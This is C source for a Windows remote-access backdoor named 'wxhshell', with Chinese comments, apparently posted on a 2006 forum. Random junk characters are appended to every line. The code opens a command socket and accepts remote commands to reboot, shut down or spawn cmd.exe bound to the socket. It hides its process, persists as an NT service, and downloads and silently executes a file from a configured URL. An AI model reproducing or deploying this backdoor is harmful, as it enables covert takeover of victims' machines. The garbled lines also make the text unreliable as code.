  // 帮助 zH Z;Y^{+  
  case '?': { n1b:Bv4"]#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lz ::6}  
    break; \K~wsu/?`  
  } MoQ\~/Z|  
  // 安装 |IV7g*J89  
  case 'i': { Cc*R3vHM6  
    if(Install()) \'<P~I&p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SASLeGaV  
    else jI0gf&v8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c|`$ h  
    break; }IZw6KiN  
    } _{; _wwz  
  // 卸载 9P ACXW0  
  case 'r': { hdi0YL  
    if(Uninstall()) lZ7 $DGe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{8h3.ZQ,  
    else 0M roHFh9`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uoOUgNwGg  
    break; ^e <E/j{~  
    } z6l'v~\  
  // 显示 wxhshell 所在路径 8PH4v\tJEK  
  case 'p': { mNacLkh[  
    char svExeFile[MAX_PATH]; 0ug&HEl_w  
    strcpy(svExeFile,"\n\r"); gpf0 -g-X  
      strcat(svExeFile,ExeFile); ;3wO1'=  
        send(wsh,svExeFile,strlen(svExeFile),0); H<n"[u^@E  
    break; fqY'Uq$=  
    } oSmETk\  
  // 重启 jwAYlnQ^EM  
  case 'b': { ,OubKcNg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KK #E qJ  
    if(Boot(REBOOT)) 9( q(;|;Hp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #T2J +  
    else { 1%*\*z  
    closesocket(wsh); 7(X z%v   
    ExitThread(0); GM'yOJo  
    } YI;iG[T,&  
    break; Hnk&2bY  
    } aA52Li  
  // 关机 P_NF;v5 v  
  case 'd': { T}=^D=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OqDP{X:  
    if(Boot(SHUTDOWN)) Jy% ?"wn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OR!W3 @  
    else { W[*xr{0V  
    closesocket(wsh); xQDQgvwa  
    ExitThread(0); HnKgD:  
    } _fu <`|kc  
    break; bKGX> %-  
    } !rr,(!Ip?O  
  // 获取shell hL6;n*S=  
  case 's': { ~gff{Nzk  
    CmdShell(wsh); fV5$[CL1  
    closesocket(wsh); qD ?`Yd  
    ExitThread(0); ?#xm6oe#aH  
    break; <7F-WR/2n  
  } [%^sl>,7  
  // 退出 [SC6{ |  
  case 'x': { vg[3\!8z[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @-Q l6k  
    CloseIt(wsh); -qDqJ62mC  
    break; znTi_S  
    } 1<73uR&b%  
  // 离开 >8k Xa.)84  
  case 'q': { @WS77d~S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 86 e13MF  
    closesocket(wsh); ;J TY#)Bh  
    WSACleanup(); >~rlnRX  
    exit(1); ERIMz ,  
    break; th[v"qD9G  
        } ty.$ H24  
  } ed#fDMXGQ%  
  } {~&Q"8 }G  
{~F|"v  
  // 提示信息 @}g3\xLiK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }URdoTOvb  
} EG3,TuDH8  
  } <6Gs0\JB  
X1`3KqK<9  
  return; =FhP$r*  
} reh{jMC  
 jb&MC 2  
// shell模块句柄 Y06^M?}  
int CmdShell(SOCKET sock) mLZ1u\ 7W  
{ Oa~ThbX7  
STARTUPINFO si; (vZ-0Ep}  
ZeroMemory(&si,sizeof(si)); 6d6cZGS[:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8CZfz!2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .6C/,rQ?c  
PROCESS_INFORMATION ProcessInfo; e !jy6 t  
char cmdline[]="cmd"; 3< ?+Yhq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &=kv69v  
  return 0; Mt-r`W3 q  
} }`<&l  
#Z2 'Y[@.  
// 自身启动模式 n>q!m@ }<  
int StartFromService(void) K9k!P8Rd  
{ n >y,{"J{  
typedef struct ]A=\P,D  
{ )xV37]  
  DWORD ExitStatus; 8eS(gKD  
  DWORD PebBaseAddress; (V6bX]<  
  DWORD AffinityMask; >[;@ [4}  
  DWORD BasePriority; SKH}!Id}n  
  ULONG UniqueProcessId; 05FGfnq.8  
  ULONG InheritedFromUniqueProcessId; .u7} p#  
}   PROCESS_BASIC_INFORMATION; Bgm8IK)6  
ZDFq=)0C  
PROCNTQSIP NtQueryInformationProcess;  *XhlIQ  
``WTg4C(Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `;6M|5G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fI)XV7,X  
4<#ItQ(  
  HANDLE             hProcess; ;pW8a?  
  PROCESS_BASIC_INFORMATION pbi; 0#J~@1Gf  
5eori8gr7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hc|A:v)]  
  if(NULL == hInst ) return 0; 'lZlfS:Z8  
 pRobx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L K #A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G7 UUx+X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ['}|#3*w  
ML12&E>  
  if (!NtQueryInformationProcess) return 0; |KYl'"5\  
kzZgNv#G;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o&1mX  
  if(!hProcess) return 0; })-V,\  
1YV1 Xnn,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6m;>R%S_  
*m"9F'(Sd  
  CloseHandle(hProcess); 9xK>fM&u  
@n)? =[p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / 3N2?zS{  
if(hProcess==NULL) return 0; {S=<(A @  
.4CDQ&B0K  
HMODULE hMod; F+H]{ss>  
char procName[255]; v8f3B<kj  
unsigned long cbNeeded; plWNuEW  
oWY3dc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #,#_"  
'r!!W0-K  
  CloseHandle(hProcess); DS(>R!bb  
/+92DV  
if(strstr(procName,"services")) return 1; // 以服务启动 FAnz0p+t  
-w"I  
  return 0; // 注册表启动 ^&YtZjV  
} A5Jadz~  
v"1&xe^4  
// 主模块 1!1JT;gG^9  
int StartWxhshell(LPSTR lpCmdLine) MM32\}Y6  
{ QfEJU8/5d  
  SOCKET wsl; )jL@GW  
BOOL val=TRUE; P;I,f  
  int port=0; P}Ig6^[m\  
  struct sockaddr_in door; }SSg>.48w  
. \a+m  
  if(wscfg.ws_autoins) Install(); %_E5B6xi{  
%_Vz0 D! 7  
port=atoi(lpCmdLine); /9ORVV  
Ja3#W K  
if(port<=0) port=wscfg.ws_port; 7RUztu\_  
Gk5'|s  
  WSADATA data; J0IKI,X.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WDY\Fj   
LE}`rW3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *x8~}/[T(F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X40gJV<  
  door.sin_family = AF_INET; H,KH}25  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2Di~}*9&  
  door.sin_port = htons(port); 15{^waR6  
E4Q`)6]0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :j+E]|d(~6  
closesocket(wsl); R,D/:k'~k  
return 1; -aJ(-Np$f  
} wrJQkven-  
LeN }Q  
  if(listen(wsl,2) == INVALID_SOCKET) { R~oY R,L;  
closesocket(wsl); a)2l9  
return 1; Y_*KAr'{P  
} 9Y2u/|!.3  
  Wxhshell(wsl); }%w;@[@L  
  WSACleanup(); MDa[bQ NM  
CxaI@+  
return 0; |8}y?kAC  
N''xdz3Z  
} rMG[,:V  
Onqapm0  
// 以NT服务方式启动 a.u{b&+9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K'8o'S_bF  
{ GAH<  
DWORD   status = 0; |qpm  
  DWORD   specificError = 0xfffffff; 7]u_  
,FYA*}[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yT%<  t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b?=r%D->w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q:>`|~MX  
  serviceStatus.dwWin32ExitCode     = 0; d+P<ce2 G  
  serviceStatus.dwServiceSpecificExitCode = 0; uF%N`e^S  
  serviceStatus.dwCheckPoint       = 0; e{2Za   
  serviceStatus.dwWaitHint       = 0; 0F!Uai1  
fc:87ZR{K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;N!n06S3  
  if (hServiceStatusHandle==0) return; rfdA?X{Q0  
~mH'8K|l  
status = GetLastError(); 7 HL Uk3  
  if (status!=NO_ERROR) sk5=$My  
{ OvdBUcp[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +:#g6(P]  
    serviceStatus.dwCheckPoint       = 0; BB,-HhYT0  
    serviceStatus.dwWaitHint       = 0; #\F8(lZ  
    serviceStatus.dwWin32ExitCode     = status; 9[{q5  
    serviceStatus.dwServiceSpecificExitCode = specificError; F9w2+z.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! pa7]cZ  
    return; .}R'(gN\6  
  } qYqd-R  
9%k4Ic%P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! , ]Fx  
  serviceStatus.dwCheckPoint       = 0; Qmd2C&Xw  
  serviceStatus.dwWaitHint       = 0; +CEt:KQ   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #I ,c'Vj  
} 3Qv9=q|[b  
fm%4ab30T  
// 处理NT服务事件,比如:启动、停止 ,9:v2=C_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ctgH/SU  
{ t- //.  
switch(fdwControl) Zjc/GO  
{ $ ga,$G  
case SERVICE_CONTROL_STOP: 2Sy:wt  
  serviceStatus.dwWin32ExitCode = 0; D_f :D^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K=sk1<>)m  
  serviceStatus.dwCheckPoint   = 0; ciH TnC  
  serviceStatus.dwWaitHint     = 0; dg N #"  
  { cw BiT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Odt<WG  
  } ]~m=b` o  
  return; m&*0<N  
case SERVICE_CONTROL_PAUSE: UBwYwm0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BhyLcUBuB  
  break; Pw Amnk !  
case SERVICE_CONTROL_CONTINUE: a<pEVV\NB~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >]bS"S  
  break; dZJU>o'BG  
case SERVICE_CONTROL_INTERROGATE: {=^<yK2q  
  break; usugjx^p  
}; H'2o84$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  9mv6  
} TTxSl p2=;  
3z 5"Ckzb  
// 标准应用程序主函数 +I~U8v-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0"@p|nAa  
{ . }tpEvAw}  
|Pse=_i  
// 获取操作系统版本 ijNI6_eU  
OsIsNt=GetOsVer(); H~<wAer,Op  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uvD*]zX  
Mb%[Qp60  
  // 从命令行安装 w^$$'5=  
  if(strpbrk(lpCmdLine,"iI")) Install(); dfeN_0` -  
B<!wh  
  // 下载执行文件 U%2{PbL  
if(wscfg.ws_downexe) { xl,?Hh%#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^F"eHUg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6:TA8w|  
} p_sqw~)^%  
.O4=[wE!U  
if(!OsIsNt) { `O,"mm^@U  
// 如果时win9x,隐藏进程并且设置为注册表启动 0c#|LF_  
HideProc(); X`}4=>  
StartWxhshell(lpCmdLine); X0m6<q  
} wB*}XJah  
else P6ugbq[x#e  
  if(StartFromService()) SQ`ec95',  
  // 以服务方式启动 TkjZI}]2  
  StartServiceCtrlDispatcher(DispatchTable); +m6acu)N.  
else ukX KUYNm8  
  // 普通方式启动 "k7C   
  StartWxhshell(lpCmdLine); =~ j S  
h3-dJgb  
return 0; s[/)v:  
}
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只看该作者 1 发表于: 2006-10-10
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